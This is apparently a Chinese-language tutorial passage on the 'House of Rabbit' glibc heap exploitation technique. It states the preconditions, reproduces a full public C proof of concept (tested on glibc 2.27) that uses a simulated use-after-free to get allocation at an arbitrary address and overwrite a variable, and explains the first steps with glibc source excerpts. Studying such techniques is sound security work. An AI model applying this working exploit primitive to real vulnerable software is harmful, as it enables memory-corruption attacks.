House of Rabbit 是一种无需泄露地址的堆利用技术,这种利用的前提是能够分配任意大小的堆块,并且存在一个已知地址的空间至少可以写0x20字节大小(用来伪造堆块),并存在可以劫持fastbin->fd指针的漏洞如UAF。首先通过漏洞修改fastbin->fd指向伪造的堆块(此时堆块size为正常),通过free触发malloc_consolidate(size很大时触发,释放\合并),将伪造的堆块释放进入unsorted bin,进一步将伪造堆块释放进入largebin的最后一个,此时修改堆块地址为0xfffffffffffffff0,利用整数溢出达到任意地址分配的效果。

House Of Rabbit

该种方法在满足条件的情况下可以绕过ASLR达到任意地址分配的效果。需要满足的条件如下

  1. 分配任意大小的堆块并进行释放,主要包含fastbin,smallbin和较大的堆块
  2. 存在一块已知的地址空间,并可以至少写0x20字节
  3. 存在用于劫持fastbin->fd指针的漏洞,UAF

shift-crops/House_of_Rabbit

ubuntu 18.04glibc 2.27中调试

/*
   PoC of House of Rabbit
   Tested in Ubuntu 14.04, 16.04 (64bit).

   Yutaro Shimizu
   @shift_crops
   2017/09/14

   Update (2019/08/06) : Ubuntu 18.04 (glibc-2.27)
*/

// gcc house_of_rabbit.c -D GLIBC_VERSION=27 -o house_of_rabbit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void evict_tcache(size_t size);

char target[0x30] = "Hello, World!";
unsigned long gbuf[8] = {0};

int main(void){
	void *p, *fast, *small, *fake;
	char *victim;

	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf(	"This is PoC of House of Rabbit\\\\n"
		"This technique bypassing Heap ASLR without leaking address, "
		"and make it possible to overwrite a variable located at an arbitary address.\\\\n"
		"Jump like a rabbit and get an accurate address by malloc! :)\\\\n\\\\n");

	// 0. Disable tcache for 0x20,0x90 chunks
	printf("0. Disable tcache for 0x20,0x90 chunks (for glibc version >= 2.26)\\\\n\\\\n");
	evict_tcache(0x18);
	evict_tcache(0x88);

	// 1. Make 'av->system_mem > 0xa00000'
	printf("1. Make 'av->system_mem > 0xa00000'\\\\n");
	p = malloc(0xa00000);
	printf("  Allocate 0xa00000 byte by mmap at %p, and free.\\\\n", p);
	free(p);

	p = malloc(0xa00000);
	printf("  Allocate 0xa00000 byte in heap at %p, and free.\\\\n", p);
	free(p);
	printf("  Then, the value of 'av->system_mem' became larger than 0xa00000.\\\\n\\\\n");

	// 2. Free fast chunk and link to fastbins
	printf("2. Free fast chunk and link to fastbins\\\\n");
	fast = malloc(0x18);
	small = malloc(0x88);
	printf(	"  Allocate fast chunk and small chunk.\\\\n"
		"  fast = %p\\\\n"
		"  small = %p\\\\n", fast, small);
	free(fast);
	printf("  Free fast chunk.\\\\n\\\\n");

	// 3. Make fake_chunk on .bss
	printf("3. Make fake_chunk on .bss\\\\n");
	gbuf[0] = 0xfffffffffffffff0;
	gbuf[1] = 0x10;
	gbuf[3] = 0x21;
	gbuf[7] = 0x1;
	printf(	"  fake_chunk1 (size : 0x%lx) is at %p\\\\n"
		"  fake_chunk2 (size : 0x%lx) is at %p\\\\n\\\\n"
		, gbuf[3], &gbuf[2], gbuf[1], &gbuf[0]);

	// VULNERABILITY
	// use after free or fastbins dup etc...
	fake = &gbuf[2];
	printf(	"VULNERABILITY (e.g. UAF)\\\\n"
		"  *fast = %p\\\\n"
		, fake);
	*(unsigned long**)fast = fake;
	printf("  fastbins list : [%p, %p, %p]\\\\n\\\\n", fast-0x10, fake, *(void **)(fake+0x10));

	// 4. call malloc_consolidate
	printf(	"4. call malloc_consolidate\\\\n"
		"  Free the small chunk (%p) next to top, and link fake_chunk1(%p) to unsorted bins.\\\\n\\\\n"
		, small, fake);
	free(small);

	// 5. Link unsorted bins to appropriate list
	printf(	"5. Link unsorted bins to appropriate list\\\\n"
		"  Rewrite fake_chunk1's size to 0xa0001 to bypass 'size < av->system_mem' check.\\\\n");
	gbuf[3] = 0xa00001;
	malloc(0xa00000);
	printf(	"  Allocate huge chunk.\\\\n"
		"  Now, fake_chunk1 link to largebin[126](max).\\\\n"
		"  Then, write fake_chunk1's size back to 0xfffffffffffffff1.\\\\n\\\\n");
	gbuf[3] = 0xfffffffffffffff1;

	// 6. Overwrite targer variable
	printf(	"6. Overwrite targer variable on .data\\\\n"
		"  target is at %p\\\\n"
		"  Before : %s\\\\n"
		, &target, target);

	malloc((void*)&target-(void*)(gbuf+2)-0x20);
	victim = malloc(0x10);
	printf("  Allocate 0x10 byte at %p, and overwrite.\\\\n", victim);
	strcpy(victim, "Hacked!!");

	printf("  After  : %s\\\\n", target);
}

void evict_tcache(size_t size){
	void *p;

#if defined(GLIBC_VERSION) && (GLIBC_VERSION >= 26)
	p = malloc(size);

#if	(GLIBC_VERSION < 29)
	free(p);
	free(p);
	malloc(size);
	malloc(size);

	*(void**)p = NULL;

	malloc(size);
#else

#if (GLIBC_VERSION == 29)
	char *counts 		= (char*)(((unsigned long)p & ~0xfff) + 0x10);
#else
	uint16_t *counts 	= (char*)(((unsigned long)p & ~0xfff) + 0x10);
#endif
	counts[(size + 0x10 >> 4) - 2] = 0xff;

#endif
#endif
}

Fill Tcache

evict_tcache(0x18);
evict_tcache(0x88);

首先填充0x20,0x90大小的tcache。这里直接将heap起始地址存储的tcache的数量设为0xff

增大malloc中mmap的阈值

// 1. Make 'av->system_mem > 0xa00000'
printf("1. Make 'av->system_mem > 0xa00000'\\\\n");
p = malloc(0xa00000);
printf("  Allocate 0xa00000 byte by mmap at %p, and free.\\\\n", p);
free(p);

p = malloc(0xa00000);
printf("  Allocate 0xa00000 byte in heap at %p, and free.\\\\n", p);
free(p);
printf("  Then, the value of 'av->system_mem' became larger than 0xa00000.\\\\n\\\\n");

当用户申请的大小超过设置的阈值时,堆块会交由mmap进行分配,并在分配结束之后改变mmap的阈值,之后再次申请时就会用malloc从堆中申请。最初的阈值为0x20000

//malloc.c sysmalloc
if (av == NULL
    || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
        && (mp_.n_mmaps < mp_.n_mmaps_max)))
{
    //...
    unsigned long sum;
    sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
    atomic_max (&mp_.max_mmapped_mem, sum);
    //...
}

因此首次申请的时候,堆块由mmap分配,后阈值转变为0xa01000。那么第二次分配的时候系统就会调用malloc从堆中分配申请的堆块的大小,初始的top chunk size0x20d00,因此会首先调用sbrktop chunk进行扩展,分配释放之后top chunk size转变为0xa20d00

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/289c5763-fc8e-47f1-a1bc-14e55a7f8517/Untitled.png

分配和释放fastbin